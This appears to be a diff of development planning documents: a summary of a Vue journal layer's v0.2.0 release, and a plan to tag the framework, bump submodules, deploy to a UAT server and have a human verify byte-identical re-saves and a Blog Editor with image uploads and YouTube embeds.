**Task 3 (release):**
|
||||
- Re-check before tagging: `git ls-remote --tags origin refs/tags/v0.2.0` was empty, the layer and app trees were clean, and neither was behind origin/main.
|
||||
- `git ls-remote --tags origin`: `042b65d0… refs/tags/v0.2.0` and `759e684e… refs/tags/v0.2.0^{}`.
|
||||
- `bash scripts/check-git-install.sh v0.2.0`: `smoke-ssr: ok (29 checks)`, then `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
|
||||
- App `pnpm install`: `- vue-journal-layer 0.1.0` / `+ vue-journal-layer 0.2.0`. The lockfile diff only touches the layer's specifier, version and resolution `commit: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
|
||||
- App verify (`grep pin && pnpm install --frozen-lockfile && pnpm build && pnpm test && HEAD == origin/main`): `# pass 26`, `# fail 0`, `app-pin-ok`.
|
||||
- App `pnpm run smoke:ssr` (extra check): `smoke-ssr: ok (37 checks)`.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../vue-journal-layer/app/utils/embeds.ts`: placeholder RegExp, provider allowlist and `expandEmbeds`.
|
||||
- `../vue-journal-layer/app/utils/htmlGate.ts`: figure and ol entries and the widened img alt rule.
|
||||
- `../vue-journal-layer/app/components/Journal/PostBody.vue` and `CategoryHeader.vue`: sanitize, then expand, then v-html.
|
||||
- `../vue-journal-layer/app/assets/css/journal-base.css`: `.journal-embed` frame at a 16 / 9 aspect ratio.
|
||||
- `../vue-journal-layer/tests/embeds.test.ts`, `tests/htmlGate.test.ts` and `tests/fixtures/editor-corpus.json`: transform, pipeline and mirror tests, plus the corpus copy.
|
||||
- `../vue-journal-layer/testing/fixtures/acme/posts.json` and `testing/expect-acme.txt`: the SSR fixture and its expectation.
|
||||
- `../vue-journal-layer/docs/decisions/0001-sanitize-html.md` and `README.md`: the Policy additions and the Embeds section.
|
||||
- `../vue-journal-layer/package.json`: version 0.2.0.
|
||||
- `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` and `pnpm-lock.yaml`: the `#v0.2.0` pin, resolving to 759e684e.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- The mirror has exactly four rules, matching the Go policy. The corpus needed no fifth rule.
|
||||
- Expansion happens only at the sinks and comes last, so the payload carries the placeholder and never an iframe.
|
||||
- The release is a separate commit, and the README install line moves with the version.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 2 - Correctness] README install line bumped with the version**
|
||||
- **Found during:** Task 2 (release prep, prior run)
|
||||
- **Issue:** The plan's release commit changes only the package.json version, but the README install snippet still pinned `#v0.1.0`. A consumer copying it would install an outdated layer.
|
||||
- **Fix:** The release commit also changes the README install line from `#v0.1.0` to `#v0.2.0`.
|
||||
- **Files modified:** ../vue-journal-layer/README.md
|
||||
- **Committed in:** `759e684` (chore: release v0.2.0)
|
||||
|
||||
**2. [Rule 3 - Blocking] check-git-install could not write the shared /tmp pnpm store**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** The script's scratch app lives under `$TMPDIR` (/tmp), where pnpm picks the store `/tmp/.pnpm-store/v11`. On this machine another local user (`jin`) owns that store, so `pnpm install` failed with `ERR_SQLITE_ERROR attempt to write a readonly database`. The tag was not the cause.
|
||||
- **Fix:** I re-ran the unchanged script with `TMPDIR` and `npm_config_store_dir`/`pnpm_config_store_dir` pointing into the session scratchpad. The script, the tag and the remote were not touched.
|
||||
- **Files modified:** none
|
||||
- **Verification:** `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 2 (1 correctness, 1 environment blocker).
|
||||
**Impact on plan:** No change to the shipped code. The tag was created and pushed exactly as planned, with no moved tag and no force-push.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- On this machine, `scripts/check-git-install.sh` fails under the default `/tmp` because the store there belongs to another user (see deviation 2). This is a machine-local environment issue, not a layer defect. Anyone re-running the script here should set `npm_config_store_dir`, or a `TMPDIR` whose pnpm store they own.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. No external service configuration is required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 05 can bump the sm-grzybyfunkcjonalne-app host gitlink to app `465286a`. It also needs to add `frame-src https://www.youtube-nocookie.com` to the report-only CSP, then deploy to UAT.
|
||||
- The plan 06 phase gate can `cmp` the layer corpus copy against `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`.
|
||||
|
||||
---
|
||||
*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
|
||||
*Completed: 2026-10-10*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: ../vue-journal-layer/app/utils/embeds.ts, tests/embeds.test.ts, tests/fixtures/editor-corpus.json
|
||||
- FOUND commits: a6ee443, 759e684 (vue-journal-layer), 465286a (vue-grzybyfunkcjonalne-app)
|
||||
- expandEmbeds count 0 in postView.ts and CategoryPage.vue; app pin #v0.2.0 present; corpus cmp exit 0
|
||||
@@ -0,0 +1,265 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 05
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
autonomous: false
|
||||
requirements: [D-02, D-03, D-05, D-07, D-10, D-17, D-18, D-19]
|
||||
user_setup:
|
||||
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
|
||||
why: "The executor holds no UAT basic-auth or admin credentials; a human re-saves imported posts untouched, edits a test post with the Blog Editor (including a save that must strip markup and report it) and checks the public page (D-03, D-05, D-10, D-17, D-18)"
|
||||
dashboard_config:
|
||||
- task: "Log in to the admin through the UAT basic-auth realm with an admin account that may publish"
|
||||
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
|
||||
estimate:
|
||||
tokens: 55000
|
||||
raw_tokens: 55000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "Release (16.1 D-04 pattern): an annotated summercms tag (v0.1.18, or the next free v0.1.x if the concurrent session tagged first; v0.1.17 is the 16.1 security release) contains every plan 01 commit and is on origin; sm-journal-plugin main with plans 02 and 03 and a go.mod require of that tag is on origin; the host's plugins/golem15/journal and vue-grzybyfunkcjonalne-app gitlinks point at the pushed heads."
|
||||
- "Release: UAT runs a binary and Nuxt output built by scripts/build.sh from those heads; the server binary's sha256 equals the local build, both supervisor programs are RUNNING, the previous binary and Nuxt output are kept for rollback, and the on-server smoke ends with 'smoke: ok ('."
|
||||
- "D-03 and todo journal-imported-html-admin-resave on UAT: after a human saves post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer; its content_html was re-rendered in 16.1 without the style block, whose CSS now lives in the app's base.css) and one HTML post without editing, md5(content), md5(content_html) and the md5 of their translation rows are unchanged; the read-only snapshot taken first records post 64's current state (whether content and content_html contain a style element) instead of assuming it."
|
||||
- "D-02, D-05 and D-18 on UAT: a test post edited in the Blog Editor with an uploaded image (alt and caption) and a YouTube embed stores content equal to content_html, containing data-embed=\"youtube\", a figcaption and an image URL under /storage/app/uploads/public/journal/posts/."
|
||||
- "D-10 on UAT (amended): a save of the test post after a style block and an onclick attribute were added in the source tab succeeds, the admin sees a notice naming the removed style element and onclick attribute, the editor reloads without them, and the stored content and content_html are equal and contain neither."
|
||||
- "D-17 on UAT: while the test post is published, its public page served on the server contains an iframe on https://www.youtube-nocookie.com/embed/."
|
||||
- "Release gate: the human chooses release-now or docker-first after seeing which Postgres suites could not run here and any open high finding of a code or security review."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/go.mod"
|
||||
provides: "nominal require of the release tag (the go.work replace to ../summercms.go stays)"
|
||||
contains: "git.golem15.com/golem15/summercms v0.1."
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
|
||||
to: "sm-journal-plugin origin/main"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "plugins/golem15/journal"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (gitlink)"
|
||||
to: "vue-grzybyfunkcjonalne-app origin/main pinning vue-journal-layer v0.2.0 (plan 04)"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "vue-grzybyfunkcjonalne-app"
|
||||
prohibitions:
|
||||
- statement: "The executor runs only SELECT queries on the UAT database; post data changes only through human admin saves."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched by the redeploy (Phase 16 D-10)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The executor never requests, prints, stores or commits a credential (UAT basic auth, admin password, server .env)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No pushed tag is moved or deleted; a defect after the push gets the next tag."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 3, plan 05; the 16.1-02 pattern): release the framework, the plugin and the site, redeploy UAT, and prove on the real imported data that untouched saves are byte-identical and that editing, uploads and embeds work.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
|
||||
|
||||
16.1 closed after this plan was written. The release facts below are refreshed: v0.1.17 is taken, so this phase tags v0.1.18 or the next free tag; the plugin head is c60abc6; the layer is at v0.1.1. Posts 53 and 64 were re-saved on UAT, so post 64's content_html no longer has its style block, and the snapshot records its state read-only instead of assuming it. The UAT refusal step is replaced by a strip-and-report step (amended D-10). The public vhost now sends a report-only CSP, so the host commit also allows the youtube-nocookie frame.
|
||||
|
||||
Wave order: 01 and 02 (wave 1), 03 and 04 (wave 2; 04 needs plan 02's editor corpus), this plan (wave 3), 06 unit tests (wave 4). CLAUDE.md lean rule 3 keeps the unit-test plan last; as in 16.1 the release does not wait for it, and plan 06's tests ship with the next tag.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- summercms annotated tag `v0.1.18` (or the next free `v0.1.x`) on origin.
|
||||
- sm-journal-plugin main on origin with `chore(deps): require summercms <tag>`.
|
||||
- sm-grzybyfunkcjonalne-app master on origin: journal and vue-grzybyfunkcjonalne-app gitlink bumps, the README admin note, and `frame-src https://www.youtube-nocookie.com` in the staging vhost's report-only CSP (with its check-deploy.sh needle and the DEPLOY.md line).
|
||||
- UAT: new binary and Nuxt output, `bin/grzybyfunkcjonalne.prev` and `build/nuxt/.output.prev` kept, both programs restarted.
|
||||
- Session values recorded in the SUMMARY: `RELEASE_TAG`, `RESTART_TS`, `HTML_POST`, `POST64_STATE`, the md5 snapshot before the human saves.
|
||||
|
||||
<objective>
|
||||
Release and redeploy (user decision 3): pass a human release gate, tag summercms, push the plugin and host bumps, build and deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then accept D-02, D-03, D-05, D-10, D-17, D-18 and D-19 on UAT with human admin actions and read-only checks.
|
||||
|
||||
Purpose: the goal is to edit imported posts on UAT (CONTEXT Claude's Discretion: release recommended).
|
||||
Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof of byte-identical untouched saves and working edits.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
|
||||
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
Server facts (DEPLOY.md "Server facts", 16.1-02-SUMMARY): ssh alias `grzybyfunkcjonalne-uat`, install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL reachable by peer psql as the deploy user (database `grzybyfunkcjonalne`), default content locale pl. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1. The host builds the framework from the `../summercms.go` working tree through a replace, so the framework version in the host is nominal; the host bumps are the two gitlinks. Commits: no co-author tags, stage by explicit path.
|
||||
|
||||
Release state at planning time (revised 2026-10-10, after 16.1 closed): summercms latest tag v0.1.17 (the 16.1 security release, tag commit c21fe36), so this phase's tag is v0.1.18 unless someone tags first; sm-journal-plugin pre-phase head c60abc6 (go.mod requires v0.1.17 with a replace to ../summercms.go); host sm-grzybyfunkcjonalne-app master 0b93ac2 with journal gitlink c60abc6 and vue-grzybyfunkcjonalne-app gitlink ada03b2; vue-journal-layer v0.1.1 (294a8d8, already ships sanitize-html) before plan 04, and the app pins #v0.1.1. UAT data: posts 53 and 64 were re-saved during 16.1; post 64's content_html no longer holds its style block (the footer CSS moved to the app's base.css, 2c46185).
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Release gate: local checks green, tag chosen, UAT data split reported, a human approves the tag push and the UAT deploy</name>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md (how the last release ran), the four 16.2 plan SUMMARYs (commit hashes per repository, the Postgres tests still to run), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md and 16.2-SECURITY.md when present</read_first>
|
||||
<action>Do everything automatable and print a release sheet, then stop.
|
||||
|
||||
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If any origin has commits this checkout lacks, stop and report; do not merge or rebase on your own.
|
||||
|
||||
Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it and cutting none. Otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.18 if nobody tagged after v0.1.17) and confirm with `git ls-remote --tags origin` that it does not exist yet.
|
||||
|
||||
Run the release gate (verify command). Then, read-only on UAT, report the D-07 split of the current data (assumption A1): ssh grzybyfunkcjonalne-uat psql -X -d grzybyfunkcjonalne -tAc with a SELECT counting golem15_journal_posts whose ltrim(content) starts with '<' (served as content) and those that do not (served as content_html).
|
||||
|
||||
Release sheet: the proposed or reused tag; commits to push per repository (summercms.go origin/master..HEAD including planning-doc commits, sm-journal-plugin origin/main..HEAD, the host's gitlink targets: sm-journal-plugin HEAD and the vue-grzybyfunkcjonalne-app commit plan 04 pushed); the UAT HTML/markdown split; the Postgres suites that cannot run here (modules/cabana testcontainers suites; the sm-journal-plugin root harness including TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent; ./models); open high findings from 16.2-REVIEW.md or 16.2-SECURITY.md if those files exist (an open high finding means only docker-first or hold may be chosen, per security_block_on high); the deploy steps from DEPLOY.md "Release" plus keeping build/nuxt/.output.prev on the server; the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back and restart both programs). Stop for the human.</action>
|
||||
<decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
|
||||
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact field-type API (D-12, one-way); it cannot be moved, only superseded. The save-path code is covered here by DryRun and unit smoke tests only; the real-database proof is the UAT acceptance in Task 3, with the previous binary and Nuxt output kept for rollback. Plan 06 adds full unit coverage after the release (lean rule 3).</context>
|
||||
<options>
|
||||
<option id="release-now">
|
||||
<name>Release now with the proposed tag</name>
|
||||
<pros>UAT gets the Blog Editor immediately; Task 3 exercises the save path on the real imported data; rollback is two moves and a restart</pros>
|
||||
<cons>The Postgres suites run later, on a Docker host; a defect found then needs the next tag</cons>
|
||||
</option>
|
||||
<option id="docker-first">
|
||||
<name>Run the Docker-host suites first, then release</name>
|
||||
<pros>The testcontainers suites in summercms.go and sm-journal-plugin, including TestPostsAdminResaveKeepsHTML with exact bytes, run before the tag is pushed</pros>
|
||||
<cons>Needs a Docker-enabled machine and delays UAT</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the release</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>UAT keeps the markdown field, whose admin save renders content through goldmark and the 16.1 sanitizer</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6 && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin test && bash scripts/check-admin-dist.sh && bash scripts/check-admin-openapi.sh --check && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && bash ../sm-journal-plugin/scripts/check-dist.sh && echo release-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana smoke set, a journal classes or controllers test fails (including the editor-output policy cross-check and the removal report tests), TestDocsTree fails, a vitest suite fails (including the editor corpus test), or a dist or OpenAPI drift gate reports stale output.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The gate printed release-gate-ok and the three repositories were clean and not behind origin.
|
||||
- The SUMMARY records the release sheet (tag, commits per repository, UAT split counts, suites not run, review findings) and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes; snapshot the posts the human will re-save</name>
|
||||
<reversibility rating="one-way">A pushed annotated summercms tag publishes the pact field-type API to other repositories' go.mod and the Go module proxy; it can only be superseded.</reversibility>
|
||||
<precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, plan 04 pushed vue-grzybyfunkcjonalne-app main pinning v0.2.0, and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
|
||||
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/DEPLOY.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Security headers), ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf (line 91: Content-Security-Policy-Report-Only), ../sm-grzybyfunkcjonalne-app/README.md (Admin section), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
|
||||
<action>Framework: unless Task 1 recorded an existing tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: plugin-registered admin form field types (pact.HasFormFieldTypes), save notices (meta.notices), field upload route, admin SPA plugin fields", then git push origin master and git push origin "$RELEASE_TAG".
|
||||
|
||||
sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the go.work replace stays, so the require is nominal); go -C ../sm-journal-plugin vet ./...; commit go.mod only as "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this publishes plans 02 and 03).
|
||||
|
||||
Host (../sm-grzybyfunkcjonalne-app): in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; in vue-grzybyfunkcjonalne-app fetch origin and check out the main plan 04 pushed. In README.md's Admin section add one sentence that Journal post and category content are edited with the Blog Editor (WYSIWYG with a source tab), that saving an untouched post keeps its stored HTML, and that a save removes markup the HTML policy does not allow and names what it removed. Embeds and the public CSP (D-17): the staging vhost's Content-Security-Policy-Report-Only (16.1) has default-src 'self' and no frame-src, so every embed would log a violation and block the later switch to an enforced policy. Add frame-src https://www.youtube-nocookie.com to that policy in deploy/nginx/grzybyfunkcjonalne-staging.conf, add the needle frame-src https://www.youtube-nocookie.com to the vhost checks in scripts/check-deploy.sh, and name it in DEPLOY.md's Security headers bullet. Installing a changed vhost on UAT needs root (16.1 UAT item 1), which the executor does not have: record it in the SUMMARY as a pending human step; it blocks nothing here, because the policy only reports. Commit both gitlinks, README.md and the three deploy files as "chore: bump journal plugin (Blog Editor) and the site app (embeds)" and push origin master.
|
||||
|
||||
Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh. Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
|
||||
|
||||
Release per DEPLOY.md "Release": on the server first cp -a build/nuxt/.output build/nuxt/.output.prev; rsync the binary to bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env); compare the sha256 of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; bin/grzybyfunkcjonalne migrate (no new migration in this phase; must exit 0); record RESTART_TS as the server's date +'%Y/%m/%d %H:%M:%S'; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt. Smoke with the DEPLOY.md recipe (first verify). On any failure: move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs and report.
|
||||
|
||||
Snapshot for Task 3 (read-only): pick HTML_POST as the lowest published post id whose ltrim(content) starts with the less-than character; then run exactly the two SELECTs of Task 3's first two verify commands (same column concatenation, same ORDER BY) and keep their outputs in the session as SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS, and in the SUMMARY. Record post 64's current state as POST64_STATE with one more read-only SELECT printing (content LIKE '%<style%')::int || ':' || (content_html LIKE '%<style%')::int for id 64. 16.1 left content_html without the style block (expected x:0); record whatever it prints, and report a 1 in the second position in the SUMMARY instead of treating it as a failure. The untouched re-save in Task 3 must not change either column, whatever their state.</action>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
|
||||
<fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
|
||||
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 && test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" && ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev && test -d /srv/grzybyfunkcjonalne/go/build/nuxt/.output.prev' && echo deploy-ok</automated>
|
||||
<fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, the tag is missing on origin, or a rollback copy is missing on the server.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
|
||||
- `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
|
||||
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed sm-journal-plugin main and vue-grzybyfunkcjonalne-app main commits, and the host master equals origin/master.
|
||||
- `grep -c "frame-src https://www.youtube-nocookie.com" ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh` reports at least 1 for each file, and check-deploy.sh passed before the build; the SUMMARY lists the vhost install as a pending root step.
|
||||
- The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
|
||||
- The SUMMARY records the tag, the pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE and the md5 snapshot; no credential appears in it.
|
||||
</acceptance_criteria>
|
||||
<done>UAT runs the released Blog Editor and embed rendering from pushed tags and branches, every smoke URL passes, and the pre-save snapshot is recorded.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 3: UAT acceptance: untouched re-saves are byte-identical; a Blog Editor edit stores HTML in both columns with an uploaded image and an embed that renders on the site; unsafe markup is stripped and reported, never refused</name>
|
||||
<precondition>Task 2 printed deploy-ok; RESTART_TS, HTML_POST, SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS are set in the session and recorded in the SUMMARY.</precondition>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback), this plan's SUMMARY (snapshot)</read_first>
|
||||
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
|
||||
|
||||
Human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) open post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer, served in the editor as its content_html, which 16.1 re-rendered without the style block) and post HTML_POST; on each press "Zapisz" without touching the editor (D-03); no removal notice may appear. (2) Create a post with slug uat-16-2-blog-editor, unpublished: a heading, bold text, a bullet list, a link, a 3x3 table, an image uploaded from the toolbar with alt text containing a colon and a caption, and a YouTube embed from a youtube.com URL; save; no removal notice may appear (D-02, D-05, D-18). (3) Still unpublished, in the source tab of the test post add a harmless style block that colours paragraphs red and an onclick="void 0" attribute on one paragraph, then save (D-10 amended): the save succeeds, a notice under the field names the removed style element and the onclick attribute, and the editor reloads without them. (4) Publish the post for the site check, then reply with what the notice in step 3 said.
|
||||
|
||||
After the reply run the verify commands, then tell the human to unpublish or delete the test post. If a check fails, report it and offer the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs).</action>
|
||||
<instructions>
|
||||
Claude deployed the release and passed the on-server smoke in Task 2, and recorded a checksum snapshot of post 64 and post HTML_POST.
|
||||
The human logs in to the UAT admin (basic-auth realm plus an admin account), performs steps 1 to 4 and replies.
|
||||
</instructions>
|
||||
